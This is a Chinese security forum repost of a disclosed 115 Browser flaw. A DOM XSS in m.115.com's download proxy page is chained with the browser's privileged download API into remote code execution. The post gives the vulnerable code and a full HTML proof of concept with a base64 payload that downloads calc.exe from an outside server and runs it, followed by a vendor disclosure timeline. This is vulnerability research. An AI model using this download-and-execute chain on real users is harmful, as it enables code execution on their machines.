搜索
查看: 727|回复: 0

点我的链接就能弹你一脸计算器

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2017-1-14 15:37:28 | 显示全部楼层 |阅读模式
比较经典的国产浏览器“特权域”问题,115 浏览器从 DOMxss 到远程命令执行漏洞,目前官方已修复。

0x01 DownProxy XSS
  1. function localParam(search, hash) {
  2.     search = search || window.location.search;
  3.     hash = hash || window.location.hash;
  4.     var fn = function (str, reg) {
  5.         if (str) {
  6.             var data = {};
  7.             str.replace(reg, function ($0, $1, $2, $3) {
  8.                 data[ $1 ] = $3;
  9.             });
  10.             return data;
  11.         }
  12.     }
  13.     return {search: fn(search, new RegExp("([^?=&]+)(=([^&]*))?", "g")) || {},
  14.         hash: fn(hash, new RegExp("([^#=&]+)(=([^&]*))?", "g")) || {}};
  15. }

  16. var isAndroid = navigator.userAgent.match(/android/ig),
  17.     isIos = navigator.userAgent.match(/iphone|ipod/ig),
  18.     isIpad = navigator.userAgent.match(/ipad/ig),
  19.     isWeixin = (/MicroMessenger/ig).test(navigator.userAgent),
  20.     params = localParam(),
  21.     docid = params.search['docid'],
  22.     isappinstalled = params.search['isappinstalled'] || params.search['appinstall'],
  23.     openurl = (params.search['openurl'] ? params.search['openurl'] : false),
  24.     gotourl = (params.search['goto'] ? decodeURIComponent(params.search['goto']) : false),
  25.     gotokey = (params.search['key'] ? params.search['key'] : false),
  26.     gotovalue = (params.search['val'] ? decodeURIComponent(params.search['val']) : false),
  27.     gotodep = (params.search['tid'] ? decodeURIComponent(params.search['tid']) : false),
  28.     iframe = document.getElementById('ifr'),
  29.     iframe2 = document.getElementById('ifr2'),
  30.     showurl = params.search['showurl'];
  31. openurl = openurl || 'oof.disk://';

  32. if(gotokey){
  33.     openurl = 'oof.disk://' + gotokey;
  34.     if(gotovalue){
  35.         openurl += "/" + gotovalue;
  36.     }
  37.     if(gotodep){
  38.         openurl +=  "/" + gotodep;
  39.     } }

  40. window.onload = function () {
  41.     if (!isWeixin) {
  42.         if(isAndroid){
  43.             if(showurl){
  44.                 window.location.href = decodeURIComponent(showurl);
  45.                 return;
  46.             }
  47.         }
  48.         iframe.src = openurl;
  49.         setTimeout(function () {
  50.             if(gotourl){
  51.                 window.location.href = gotourl;
  52.             }
  53.             else{
  54.                 if ((isIos || isIpad) && !isAndroid) {
  55.                     window.location.href =
  56.                         "https://itunes.apple.com/us/app/115wang-pan/id647500047?mt=8";
  57.                     window.setTimeout(function(){window.location.href =
  58.                         'http://a.app.qq.com/o/simple.jsp?pkgname=com.ylmf.androidclient';}, 1000);
  59.                 } else if (isAndroid) {
复制代码
其中 iframe.src -> openurl -> params.search 环节出现问题,导致可使用伪协议嵌入 iframe 造成 XSS 漏洞:

params = localParam(),
openurl = (params.search['openurl'] ? params.search['openurl'] : false),
openurl = openurl \|\| 'oof.disk://';
iframe.src = openurl;

0x02 FINDAPI
for(i in downloadInterface){console.log(i)}

    VM227:2 getLiXianIngUrls
    VM227:2 getLiXianUnFinishedUrls
    VM227:2 deleteLiXianUnFinishedUrl
    VM227:2 switchToOfflineWin
    VM227:2 createBTTaskForWeb
    VM227:2 beginDownload
    VM227:2 cancelOfflineDownload
    VM227:2 createOfflineDown
    VM227:2 getOfflineErrorInfo
    VM227:2 deleteOfflineErrorInfo
    VM227:2 GetTaskList
    VM227:2 ContinueDownload
    VM227:2 PauseDownload
    VM227:2 RemoveDownload
    VM227:2 RunDownloadItem
    VM227:2 OpenFolderItem
    VM227:2 StartAllDownloads
    VM227:2 PauseAllDownloads
    VM227:2 ClearHasFinished
    VM227:2 ShowDefaultFolder
    VM227:2 EnableShutdown
    VM227:2 GetDownloadErrorList
    VM227:2 ShowNewDownloadTaskWindow
    VM227:2 OpenURL

测试可知使用 OpenURL(URL) 传入二进制文件网址时则会自动下载文件到浏览器设置的下载文件夹内,随后使用 RunDownloadItem 打开,通过查看 RunDownloadItem 的原型可以知道:

function(id) {  native function NativeRunDownloadItem();  return NativeRunDownloadItem(id);}  

需要传入任务 ID 才能够运行下载的项目,所以这里我们使用 ClearHasFinished() 移除掉已经下载文件的记录然后遍历小范围的数字传参即可。

0x03 POC
  1. <!DOCTYPE HTML>
  2. <html>
  3. <head>
  4.     <title>115 Browser version 7.2.5.15 RCE</title>
  5.     <meta charset="utf8"/>
  6. </head>
  7. <body>
  8. <h1>115 Browser 7.* RCE Vulnerability</h1>


  9. {gfm-js-extract-pre-1}
  10. <img style="margin-top: 10px;" width=490 src="https://ws1.sinaimg.cn/large/c334041bgw1fax1c9wjb0j21c810gwl2.jpg"/>
  11. //
  12. w=window.parent.downloadInterface;w.ClearHasFinished();w.OpenURL('http://server.n0tr00t.com/calc.exe');window.parent.setTimeout(function(){for(var
  13. i=0;i<300;i++){w.RunDownloadItem(i);}},5000);
  14. <iframe src="http://m.115.com/down_proxy.html?openurl=javascript:eval(window.parent.location.hash.substr(1))#eval(atob('dz13aW5kb3cucGFyZW50LmRvd25sb2FkSW50ZXJmYWNlO3cuQ2xlYXJIYXNGaW5pc2hlZCgpO3cuT3BlblVSTCgnaHR0cDovL3NlcnZlci5uMHRyMDB0LmNvbS9jYWxjLmV4ZScpO3dpbmRvdy5wYXJlbnQuc2V0VGltZW91dChmdW5jdGlvbigpe2Zvcih2YXIgaT0wO2k8MzAwO2krKyl7dy5SdW5Eb3dubG9hZEl0ZW0oaSk7fX0sNTAwMCk7'))"
  15.         style="display:none"></iframe>
  16. </body>
  17. </html>
复制代码


Discloure Timeline
2016/12/19 Report vuln detail to 115.
2016/12/24 M.115.com xss fix.
2016/12/25 The DownloadAPI update is expected to be released after the new year.
2016/12/26 Public, via @evi1m0.

Reference
https://www.seebug.org/vuldb/ssvid-92585


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?Join BUC

x
过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表